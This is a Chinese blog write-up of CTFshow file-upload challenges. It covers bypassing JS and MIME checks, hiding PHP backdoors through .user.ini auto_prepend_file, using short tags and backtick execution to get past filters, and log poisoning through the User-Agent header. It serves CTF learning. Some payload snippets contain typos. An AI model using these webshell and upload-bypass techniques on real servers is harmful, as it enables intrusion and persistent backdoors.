当前位置: 首页 > news >正文

文件上传Ⅰ

文件上传--前后端验证

不让上传php,所以要绕过它

遇到网站可能不是php语言,会是java或者python语言等,它只能解析网站本身的语言,那我们就上传符合网站语言识别的格式(它能解析什么后缀,就上传什么后缀),有可能java或python语言的网站能解析上传的php文件,那是因为网站本身安装过这种语言,所以它可以解析,但并不代表所有网站都可以!

最兼容的办法是按照网站本身的脚本语言来决定上传文件的后缀式,否则极有可能不支持

在CTF SHOW平台上练习

第1关:JS验证+MIME

查看页面源代码进一步找线索! 

 

这种验证方式就是典型的JS验证方式:按照当前页面代码允许的文件格式进行上传!这种验证方式是可以直接绕过的,直接修改后缀名,然后上传php文件(即一句话木马程序)进而执行相关命令,找到flag!

那在这里可以修改后缀名,执行一句话木马程序来找出flag

 

补:

前端验证:限制用户上传特定类型的文件,如只允许上传当前页面代码所允许的图片( .jpg 、 .png 、 .gif 等)、文档( .doc 、 .docx 、 .pdf 等)。可以通过检查文件的扩展名MIME 类型来实现。在JavaScript中,使用 FileReader 读取文件的 MIME 类型

后端验证:以后台的代码文件为准,通过检查文件的 MIME 类型或文件扩展名来验证文件类型。 MIME 类型更可靠,因为扩展名可被轻易修改。

#文件上传前置
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)
如:jpg图片里面有php后门代码(即格式必须是php才可以),不能被触发,所以连接不上后门

MIME(Multipurpose Internet Mail Extensions)验证是文件上传过程中用于确保文件类型符合预期的重要环节。
原理:
MIME类型是一种标准的标识文件类型的方式,由类型子类型组成,如 image/jpeg 、 text/plain 等。服务器通过检查文件的MIME类型来确定文件的真实类型,而非仅仅依赖文件扩展名,因为扩展名容易被篡改,MIME类型则更能准确反映文件的实际内容.不同的后端语言和框架有不同的实现方式来进行MIME验证。

第2关:JS验证+MIME

还是先查看页面源代码

补充知识点:

Content-Type: 在文件上传中, Content - Type 是一个重要的HTTP头部字段,用于标识上传文件的类型和编码方式
 
①常见取值:
 multipart/form - data :当表单中包含文件上传字段时,通常使用这个 Content - Type 。

它允许在一个HTTP请求中同时上传多个文件和其他表单数据,每个部分都有自己的边界标记,用于区分不同的字段和文件。

 ②特定文件类型:

对于单独上传的文件, Content - Type 会被设置为文件对应的MIME类型如 image/png 表示png图片, application/pdf 表示PDF文档, text/plain 表示纯文本文件等。这样服务器就能根据 Content - Type 准确判断文件类型,进行相应的处理和验证。

第3关:JS验证+.user.ini

还是延用第1、2关的解题思路

!!!查看页面源代码--上传png后gif或php类型文件进行尝试(看是否上传成功)--抓包,修改后缀名,放包,上传php文件(看是否能上传)--更改Content-Type内容再次尝试

经过这一系列尝试后发现仍不行,那么我们需要尝试其他方法!

我们尝试更换后缀名看是否能上传成功!

虽然将原本的x.php改为x.phP或x.php5后,文件都上传成功了,但是都响应了如下界面: 

 

 

即提示要下载,代表网站不能解析!所以还需要进行其他尝试!

 在网页不便访问,我们抓包,在bp上改,然后放包看效果!

 在同文件夹下创建user.ini文件,在文件里面写人如下内容

 然后在bp里抓包修改,上传成功!

 在这里访问index.php,,进而间接利用user.ini,然后找到flag

补充:

.user.ini
php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。

实例
php 配置项中有两个配置可以起到一些作用

auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename>          //包含在文件尾


这两个配置项的作用相当于一个文件包含

eg:

// .user.ini
auto_prepend_file = 1.jpg
// 1.jpg
<?php phpinfo();?>
// 1.php(任意php文件)


满足这三个文件在同一目录下,则相当于在1.php文件里插入了包含语句require('1.png'),进行了文件包含。

另一条配置包含在文件尾,如果遇到了 exit 语句的话就会失效。

.user.ini使用范围很广,不仅限于 Apache 服务器,同样适用于 Nginx 服务器,只要服务器启用了 fastcgi 模式 (通常非线程安全模式使用的就是 fastcgi 模式)。

局限:
在.user.ini中使用这条配置也说了是在同目录下的其他.php 文件中包含配置中所指定的文件,也就是说需要该目录下存在.php 文件,通常在文件上传中,一般是专门有一个目录用来存在图片,可能小概率会存在.php 文件。

但是有时可以使用 ../ 来将文件上传到其他目录,达到一个利用的效果。

第4关:JS验证+.user.ini+短标签

通过1+2+3关同样步骤的尝试,发现不行

然后再来尝试通过文件1.png构造后门进行利用!

就是只要是<?php...?>就不能上传成功!!!

 说明这里过滤的是<?php...?>这个组合,但是我们需要上传php类型文件,后门代码需要用php格式,所以需要用除了这个格式之外的表示php的格式:

如下:还有4种

<? echo '123";?>  //前提是开启配置参数short_open_tags=on
<?=(表达式)?>  //不需要开启参数设置
<% echo '123";%>  //前提是开启配置参数asp_tags=on
<script language="php">echo"1';</scripf>    //不需要修改参数开关

在这里选用第二种,比较简便好用!

还是输入相关命令执行,得到flag!

 第5关:JS验证+.user.ini+短标签

解题思路和第4关一模一样

 输入相关命令执行,得到flag!

第6关:JS验证+.user.ini+短标签+过滤

前面解题思路与第5关一样,但是用第五关最后的思想(变换后门代码的php格式)不能解决第6关,我们需要尝试其他方法:

如下:经过一番尝试,发现

感觉这应该是由于[x]被过滤掉了

之后还是利用.user.ini的思路,再在网页上执行相关命令即可得到flag!

第7、8关:JS验证+.user.ini+短标签+过滤

第7、8关解题步骤一样

需要进行其他尝试:

将后门代码删删改改进行测试,如下

 那我们需要找一种后门代码是php格式,但不带{}之类的!

*代表任意字符,接着仍然是利用.user.ini

最后访问如下网址,通过upload访问.user.ini,接着通过.user.ini访问test.png后门代码,来获取flag!

第9关:JS验证+.user.ini+短标签+过滤

在这需要尝试新的思路,验证后发现是()被过滤,而对于php文件,其将反引号(``)视为执行运算符,支持反引号(``的相关命令

执行运算符

PHP 支持一个执行运算符:反引号(``)。注意这不是单引号!PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符“`”的效果与函数 shell_exec() 相同。

  shell_exec()   :通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回

<?php
$output = `ls -al`;
echo "<pre>$output</pre>";
?>

注意:

关闭了 shell_exec() 时反引号运算符是无效的。

注意:

与其它某些语言不同,反引号不能在双引号字符串中使用。

所以这就涉及使用函数的问题,若使用system函数,system(")后面的('')可能会被当成执行运算符而执行相关命令,而影响后门代码的运用!

那么换用另一种不带()的后门代码格式,即<?=`tac../f*`?>

反引号``里面的内容也可以达到执行函数 shell_exec() 相同效果的作用,在这里即调用tac函数,读取flag.php的内容!

利用.user.ini

得到flag!

第10关:JS验证+.user.ini+短标签+过滤

过滤了反引号(``),防止利用反引号(``)执行相关内容!

该关解题思路:

针对默认日志,访问日志要进行访问UA头,用UA头包含后门代码,用.user.ini包含这个日志文件,使其读取后本代码并执行相关命令,进而获取flag!

日志文件根据中间件(Nginx)决定,Nginx的默认日志路径为:var/log/nginx

 则新的后门代码:<?=include"/var/lo"."g/nginx/access.lo"."g"?> 即包含日志文件

上传文件成功

再利用.use.ini

 访问该网址:

 第11关:JS验证+user.ini+短标签+过滤+文件头:

思路:第10关+文件验证
文件头部检测是否为图片格式文件
user ini: GIF89A auto_prepend_file-test png
test png:GIF89A<?=nclude"/var/lo""g/nginx/access.lo"g"?>

 

 

 余下步骤同第10关!

以上为个人在学习时的总结,如有错误,欢迎大家前来评论指正哦!!!


http://www.mrgr.cn/news/98980.html

相关文章:

  • leetcode第20题(有效的括号)
  • FreeRTOS任务通知
  • MDA测量数据查看器【内含工具和源码地址】
  • Qt QTimer 详解与使用指南
  • 力扣刷题Day 20:柱状图中最大的矩形(84)
  • 解锁C++ gRPC:快速入门指南
  • Java集合框架深度解析:HashMap、HashSet、TreeMap、TreeSet与哈希表原理详解
  • Json 在线格式化 - 加菲工具
  • 工厂方法模式详解及在自动驾驶场景代码示例(c++代码实现)
  • 【多目标进化算法】NSGA-II 算法(结合例子)
  • 2048小游戏C++板来啦!
  • MATLAB 控制系统设计与仿真 - 36
  • 论文阅读:2023 ICLR Safe RLHF: Safe Reinforcement Learning from Human Feedback
  • C++智能指针的知识!
  • 阿里云服务器搭建开源版禅道
  • Web三漏洞学习(其三:rce漏洞)
  • java线程池原理及使用和处理流程
  • 算法-链表
  • 基于autoware1.14的实车部署激光雷达循迹,从建图、定位、录制轨迹巡航点、到实车运行。
  • Anconda环境下修改Jupyter notebook的启动路径(Windows)